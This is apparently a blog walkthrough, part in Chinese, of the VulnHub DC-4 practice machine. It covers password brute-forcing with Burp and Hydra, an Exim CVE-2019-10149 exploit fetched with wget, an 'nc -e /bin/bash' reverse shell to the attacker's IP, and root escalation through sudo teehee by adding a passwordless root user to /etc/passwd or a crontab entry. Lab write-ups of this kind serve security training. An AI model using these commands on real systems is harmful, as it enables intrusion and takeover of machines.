Remember once vulnhub | Penetration Testing DC-4 (conventional and unexpected mention the right idea)

DC-4


  • The Main Point 0X01
    1. Burpsuite blasting module simple blasting
    2. Hydra blasting for SSH connection
    3.CVE-2019-10149- Exim vulnerability local privilege escalation
    4. teehee privilege escalation

  • 0X02 pre-sniffing and port detection

arp-scan -l    得到靶机IP地址

Here Insert Picture Description

namp -sV -A -p- 172.20.10.4  探测靶机开放端口

Here Insert Picture Description
Target only open 80、22two ports, look at the page:

Here Insert Picture DescriptionIn the run dirb、dirsearch、御剑after Saowan directory really no other directories can take advantage of, and there can only be considered to start from the sign-in box, we default username is ADMIN , import intruder blasting (to select a suitable passwd dictionary):
Here Insert Picture Description
found a lot of passwords can log in, log in directly after the discovery:
Here Insert Picture Description
run the command, Ethereal get:
Here Insert Picture Description
find instructions can be executed construction, direct a rebound shell, kali monitor to connect to:
Here Insert Picture Description

python -c 'import pty;pty.spawn("/bin/bash")' 得到交互式Bash

Here Insert Picture Description
/homeUnder found to have three users, jim user can see the backups folder, get jim user enters the password history:
Here Insert Picture Description
After saving direct hydra blasting get jim password:

hydra -L jim -P '/root/jimpass' ssh://172.20.10.4 -t 10

Here Insert Picture Description

Unexpected mention the right idea

su切换到Jim用户后,ls -la打开mbox查看后发现是邮件,重点是exim–邮件传输代理服务器软件:
Here Insert Picture Description
这个版本对应有CVE-2019-10149, searchsploit exim直接将这个脚本放到kali机/var/www/html/getshell.sh下,service apache2 start开启服务器后,靶机切到/tmp路径下,wget http://172.20.10.8/getshell.sh下载这个脚本:
Here Insert Picture Description

chmod 777 getshell.sh   赋予可执行权限
busybox dos2unix getshell.sh 转化文件格式 

这里如何使用getshell.sh可以先查看对应的CVE,这里我们直接使用:

Here Insert Picture Description
得到root后:

nc -e /bin/bash 172.20.10.8 2333 #172.20.10.8是kali的IP,直接提权后得到flag

常规提权思路

su切换到Jim用户后,ls -la打开mbox查看后发现是邮件,那么mail后发现有一封邮件:
Here Insert Picture Description
得到charles用户的密码,切换到charles用户:

find / -perm -u=s -type f 2>/dev/null  查看SUID文件

Here Insert Picture Description
发现我们之前利用了的exim4,这里就是非预期提权方法了,这里假装没看到,其他的SUID程序都是很常规的,这里得不到信息。

sudo -l  查看可以以root权限执行的命令

Here Insert Picture Description
/usr/bin/teehee是啥呢?
Here Insert Picture Description
-a 命令可以附加到指定的文件上而不是覆盖,这里思路就很明确了,我们直接附加一个用户到/etc/passwd上,这个用户拥有root权限,然后在切换到这个用户即可。

echo "admin::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
#[用户名]:[密码]:[UID]:[GID]:[身份描述]:[主目录]:[登录shell]

| 在Linux中是管道,上一条命令的输出,作为下一条命令参数,这样成功在/etc/passwd上附加了admin用户(空密码)

Here Insert Picture Description
看到其他师傅的walkthrough上还有一种姿势:

通过定时任务执行脚本提权:

向/etc/crontab文件中写入新的定时任务,把时间全设置为*,这样就是每分钟执行一次,再将/bin/sh的权限设置为4777。
Here Insert Picture Description

echo '***** chmod 4777 /bin/sh | sudo teehee -a /etc/crontab' 写入定时任务

同样可以得到root权限。

以上就是本人所有的提权思路

Published 17 original articles · won praise 3 · Views 1070

Guess you like

Origin blog.csdn.net/crisprx/article/details/104142578